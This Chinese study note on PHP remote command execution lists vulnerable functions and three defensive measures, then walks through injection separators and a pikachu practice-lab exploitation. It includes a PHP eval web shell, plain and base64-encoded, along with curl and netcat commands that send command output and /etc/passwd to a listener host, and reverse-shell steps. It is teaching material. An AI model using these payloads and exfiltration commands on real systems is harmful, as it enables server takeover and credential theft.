一、RCE 漏洞
1、漏洞简述:
程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用,需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。
2、php 执行命令的常用函数:
system(args) 有回显
passthru(args) 有回显
exec(args) 无回显,echo 输出只回显最后一行
shell_exec(args) 无回显,必须要 echo 输出
反引号:``
popen(handle,mode)(无回显)
proc_open('cmd','flag','flag')(无回显)
$process = proc_open('dir',$des,$pipes);
echo stream_get_contents($pipes[1]);
3、 漏洞危害:
(1)继承 Web 服务器程序的权限,去执行系统命令
(2) 继承 Web 服务器程序的权限,读写文件
(3)反弹 shell
(4)控制整个网站
(5)甚至控制整个服务器
二、漏洞利用的回显问题
1、有回显:
情况较少,可以直接读取文件或执行有回显的命令
2、无回显
(1)通过 echo 把恶意代码写入文件:
echo "<?php @eval($_POST['cc'])?>" >> shell.php
也可以进行加密:
(1)linux
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjYyddKT8+"|base64 -d >> shell.php
(2)windows
好像没有
(2)dnslog 查看回显 :
可以直接用 dnslog 的网站,也可以用 burpsuite 的 burp collaborator client
(3)使用 python 启动服务器:
1、在 192.168.1.1 使用:
python -m http.server 5566
开启小型服务器
2、在存在 RCE 的网页上输入:
curl http://192.168.1.1:5566/?`whoami`
3、在 192.168.1.1 上查看回显
(4)netcat 输出文件信息:
1、在远程监听服务器上使用:
nc -lvp 5566 > cc.txt
2、在存在命令执行的网站上使用:
nc 192.168.1.1 5566 < /etc/passwd
3、此时就可以在 cc.txt 中查看目标主机的密码文件
(5)反弹 shell
三、RCE 的防御
1、不执行外部的应用程序或命令,尽量使用自定义函数或函数库实现外部应用程序或命令的功能。
2、在执行 system、eval 等命令执行功能的函数前,要确认参数内容。
3、使用 escapeshellarg 函数处理相关参数。
四、实例
pikachu RCE
1、发现存在命令执行漏洞
输入 127..1 | whoami 回显了用户
2、判断为 windows 服务器
(1)输入 127..1 | dir 有回显
(2)输入 127..1 | ls 无回显
3、想获得控制权限
(1)执行命令上传 netcat 到对方服务器
目的是把目标的 shell 反弹到我们的主机上
(2)本机开启对 6666 端口的监听
(3)执行命令把目标 shell 发送到本机的 6666 端口
(4)连接成功
此时在本机上执行命令,应该可以看见相关的端口信息:
netstat -an | findstr "ESTABLISHED"
或
netstat -an | findstr "反弹的端口号"
补充:
1、对于 ping 命令:
windows:
ping 127.0.0.1 -n 3
linux:
ping 127.0.0.1 -c 3
2、对于多条命令执行:
1、| : 将前一句语句的结果输出给后一句,无论前一句执行是否成功,都会执行后一句的命令
eg:windows 下执行
(1)ping 127.0.0.1 -n 1 | whoami
结果为正常执行 whoami 指令
(2)ping 127..1 -n 1 | whoami
结果为正常执行 whoami 指令
2、|| : 若前一句执行成功就不执行后一句了,若失败执行后一句
eg:windows 下执行
(1)ping 127.0.0.1 -n 1 || whoami
结果为正常执行 ping 命令,whoami 命令不执行
(2)ping 127..1 -n 1 || whoami
结果为 ping 命令执行失败,正常执行 whoami 命令
3、& :同时执行两个命令,其中任何一个执行成功与否不会影响另外一个命令
eg:windows 下执行
(1)ping 127.0.0.1 -n 1 & whoami
结果为两条语句都正常执行
(2)ping 127..1 -n 1 & whoami
结果为第一条语句执行失败,第二条语句正常执行
4、&& :同时执行两个命令,前一个执行错误,会导致后一个命令不执行
eg:windows 下执行
(1)ping 127.0.0.1 -n 1 && whoami
结果是两条命令均正常执行
(2)ping 127..1 -n 1 && whoami
结果为前一条语句执行失败,后一条不执行
5、; :用来分割两个指令
(1)在 windows 里不生效
(2)在 linux 里生效
eg:linux 下执行
(3)ping 127.0.0.1 -c 1; whoami
两句语句均正常执行
(4)ping 127..1 -c 1; whoami
ping 命令执行失败,whoami 正常执行
6、`` :用来执行 linux 命令
eg:linux 中执行
(1)ping `pwd`
ping 执行失败,pwd 执行成功
(2)ping 127.0.0.1`pwd`
ping 执行失败,pwd 命令执行成功
(3)whoami `pwd` ping
whoami 和 ping 执行失败,pwd 执行成功
7、$() :仅可在 linux 上使用
(1)ping 127.0.0.1 -c 3 | echo $(whoami)